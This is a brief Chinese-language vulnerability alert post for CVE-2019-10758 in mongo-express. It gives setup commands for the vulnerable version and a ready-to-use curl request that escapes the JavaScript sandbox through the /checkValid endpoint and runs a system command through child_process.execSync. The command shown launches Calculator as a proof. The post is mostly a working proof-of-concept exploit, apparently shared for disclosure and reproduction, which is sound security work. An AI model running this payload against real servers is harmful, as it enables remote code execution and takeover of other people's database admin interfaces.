CVE-2019-10758 漏洞预警

W.r 411 次浏览 0

Setup

docker run -p 27017:27017 -d mongo
npm install mongo-express@0.53.0
cd node_modules/mongo-express/ && node app.js

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

https://github.com/masahiro331/CVE-2019-10758

发表评论 取消回复
表情